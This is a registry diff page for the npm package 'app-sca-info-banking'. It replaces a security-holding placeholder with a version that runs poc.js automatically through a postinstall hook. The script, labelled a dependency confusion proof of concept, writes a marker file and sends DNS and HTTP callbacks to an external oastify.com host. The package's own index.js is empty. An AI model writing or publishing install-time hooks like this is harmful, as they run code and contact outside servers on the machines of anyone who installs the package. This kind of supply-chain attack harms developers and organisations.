app-sca-info-banking 0.0.1-security → 0.0.24
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of app-sca-info-banking might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +14 -3
- package/poc.js +75 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,6 +1,17 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "app-sca-info-banking",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "0.0.24",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node poc.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"type": "commonjs",
|
|
13
|
+
"files": [
|
|
14
|
+
"index.js",
|
|
15
|
+
"poc.js"
|
|
16
|
+
]
|
|
6
17
|
}
|
package/poc.js
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
const fs = require("fs");
|
|
2
|
+
const os = require("os");
|
|
3
|
+
const path = require("path");
|
|
4
|
+
const dns = require("dns");
|
|
5
|
+
const http = require("http");
|
|
6
|
+
|
|
7
|
+
const id = "DEPENDENCY_CONFUSION_POC_20260925";
|
|
8
|
+
const baseOast = "ki6rmdjnq5q8y7v8soxc080fz65ytohd.oastify.com";
|
|
9
|
+
const token = Date.now();
|
|
10
|
+
|
|
11
|
+
const dnsHost = `depconf-dns-${token}.${baseOast}`;
|
|
12
|
+
const httpHost = `depconf-http-${token}.${baseOast}`;
|
|
13
|
+
|
|
14
|
+
/* =========================================================
|
|
15
|
+
TEST 1 - LOCAL CODE EXECUTION
|
|
16
|
+
========================================================= */
|
|
17
|
+
|
|
18
|
+
console.log(`[PoC] ${id}`);
|
|
19
|
+
|
|
20
|
+
try {
|
|
21
|
+
const marker = path.join(os.tmpdir(), `${id}.txt`);
|
|
22
|
+
|
|
23
|
+
fs.writeFileSync(
|
|
24
|
+
marker,
|
|
25
|
+
"Controlled Dependency Confusion validation\n"
|
|
26
|
+
);
|
|
27
|
+
|
|
28
|
+
console.log(`[PoC] Marker created: ${marker}`);
|
|
29
|
+
} catch (err) {
|
|
30
|
+
console.log(`[PoC] Marker creation failed: ${err.message}`);
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
/* =========================================================
|
|
35
|
+
TEST 2 - DNS CALLBACK
|
|
36
|
+
========================================================= */
|
|
37
|
+
|
|
38
|
+
console.log(`[PoC][DNS] Querying: ${dnsHost}`);
|
|
39
|
+
|
|
40
|
+
dns.resolve4(dnsHost, (err) => {
|
|
41
|
+
if (err) {
|
|
42
|
+
console.log(`[PoC][DNS] Failed: ${err.message}`);
|
|
43
|
+
} else {
|
|
44
|
+
console.log(`[PoC][DNS] Resolution completed`);
|
|
45
|
+
}
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
/* =========================================================
|
|
50
|
+
TEST 3 - HTTP CALLBACK
|
|
51
|
+
========================================================= */
|
|
52
|
+
|
|
53
|
+
console.log(`[PoC][HTTP] Requesting: http://${httpHost}/dependency-confusion-poc`);
|
|
54
|
+
|
|
55
|
+
const req = http.get(
|
|
56
|
+
{
|
|
57
|
+
hostname: httpHost,
|
|
58
|
+
port: 80,
|
|
59
|
+
path: "/dependency-confusion-poc",
|
|
60
|
+
method: "GET"
|
|
61
|
+
},
|
|
62
|
+
(res) => {
|
|
63
|
+
console.log(`[PoC][HTTP] Status: ${res.statusCode}`);
|
|
64
|
+
res.resume();
|
|
65
|
+
}
|
|
66
|
+
);
|
|
67
|
+
|
|
68
|
+
req.on("error", (err) => {
|
|
69
|
+
console.log(`[PoC][HTTP] Failed: ${err.message}`);
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
req.setTimeout(5000, () => {
|
|
73
|
+
console.log("[PoC][HTTP] Timed out");
|
|
74
|
+
req.destroy();
|
|
75
|
+
});
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=app-sca-info-banking for more information.
|